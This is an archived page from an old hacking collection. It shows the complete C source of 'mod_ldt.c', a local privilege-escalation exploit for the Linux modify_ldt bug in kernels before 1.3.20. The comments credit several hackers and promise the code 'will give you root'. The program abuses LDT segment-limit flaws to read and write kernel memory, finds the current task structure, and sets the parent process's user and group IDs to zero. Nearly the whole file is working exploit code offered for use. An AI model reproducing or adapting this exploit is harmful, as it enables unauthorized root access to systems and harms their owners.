home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Hacking & Misc
/
bundle of exploits.sit
/
bundle of exploits
/
mod_ldt.c
< prev
next >
Wrap
Text File
|
1998-07-17
|
5KB
|
143 lines
/* this is a hack of a hack. a valid System.map was needed to get this
sploit to werk.. but not any longer.. This sploit will give you root
if the modify_ldt bug werks.. which I beleive it does in any kernel
before 1.3.20 ..
QuantumG
*/
/* original code written by Morten Welinder.
*
* this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
* 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
* 2. the _task in the System.map file has no leading underscore.
* I am not sure at what point these were changed, if you are
* using this on a newer kernel compile with NEWERKERNEL defined.
* -ReD
*/
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>
static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
int stat, i,j,k;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
struct kernel_sym blah[4096];
printf ("Bogusity checker for modify_ldt system call.\n");
printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}
printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}
i = get_kernel_syms(blah);
k = i+10;
for (j=0; j<i; j++)
if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
if (k==i+10) { printf("current not found!!!\n"); return(1); }
j=k;
taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
printf("Current process is %i\n",thistask.pid);
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
printf("Parent process is %i\n",thistask.pid);
thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root process.\n");
return 0;
};